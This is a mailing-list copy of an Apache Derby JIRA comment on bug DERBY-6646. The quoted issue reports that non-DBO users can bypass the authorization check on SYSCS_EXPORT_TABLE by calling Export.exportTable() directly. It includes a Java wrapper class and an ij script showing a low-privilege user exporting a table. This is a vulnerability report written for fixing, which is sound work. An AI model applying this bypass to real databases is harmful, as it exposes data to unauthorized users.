You are viewing a plain text version of this content. The canonical link for it is here.
Posted to derby-dev@db.apache.org by "Rick Hillegas (JIRA)" <ji...@apache.org> on 2014/07/02 18:31:28 UTC
[jira] [Commented] (DERBY-6646) Applications can bypass the
authorization checks on SYSCS_EXPORT_TABLE by calling Export.exportTable()
directly
[ https://issues.apache.org/jira/browse/DERBY-6646?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=14050282#comment-14050282 ]
Rick Hillegas commented on DERBY-6646:
--------------------------------------
Linking to DERBY-6616 since I tripped across this problem while studying that issue.
> Applications can bypass the authorization checks on SYSCS_EXPORT_TABLE by calling Export.exportTable() directly
> ---------------------------------------------------------------------------------------------------------------
>
> Key: DERBY-6646
> URL: https://issues.apache.org/jira/browse/DERBY-6646
> Project: Derby
> Issue Type: Bug
> Components: SQL
> Reporter: Rick Hillegas
>
> By default, only the DBO can call SYSCS_EXPORT_TABLE. But applications can bypass that authorization check by calling Export.exportTable() directly.
> Here's a repro. First compile this class...
> {noformat}
> import java.sql.*;
> import org.apache.derby.impl.load.Export;
> public class ExportWrapper
> {
> public static void export
> (
> String schemaName,
> String tableName, String outputFileName,
> String columnDelimiter, String characterDelimiter,
> String codeset
> )
> throws Exception
> {
> Connection conn = DriverManager.getConnection( "jdbc:default:connection" );
>
> Export.exportTable
> ( conn, schemaName, tableName, outputFileName, columnDelimiter, characterDelimiter, codeset );
> }
> }
> {noformat}
> …then run this script:
> {noformat}
> connect 'jdbc:derby:memory:db;create=true';
> connect 'jdbc:derby:memory:db1;create=true;user=test_dbo';
> call syscs_util.syscs_create_user( 'TEST_DBO', 'test_dbopassword' );
> call syscs_util.syscs_create_user( 'RUTH', 'ruthpassword' );
> -- shutdown in order to enable NATIVE authentication
> connect 'jdbc:derby:memory:db1;shutdown=true';
> connect 'jdbc:derby:memory:db1;user=ruth;password=ruthpassword' as ruth;
> create table t( a int );
> insert into t( a ) values ( 1 );
> create procedure exportWrapper
> (
> in schemaname varchar(128),
> in tablename varchar(128),
> in filename varchar(32672),
> in columndelimiter char(1),
> in characterdelimiter char(1),
> in codeset VARCHAR(128)
> )
> language java parameter style java reads sql data
> external name 'ExportWrapper.export';
> -- ruth lacks privilege to export the table
> call syscs_util.syscs_export_table( null, 'T', 'z.dat', null, null, null );
> -- but ruth can bypass authorization checks by directly calling Export.exportTable()
> -- inside this procedure
> call exportWrapper( null, 'T', 'z.dat', null, null, null );
> {noformat}
--
This message was sent by Atlassian JIRA
(v6.2#6252)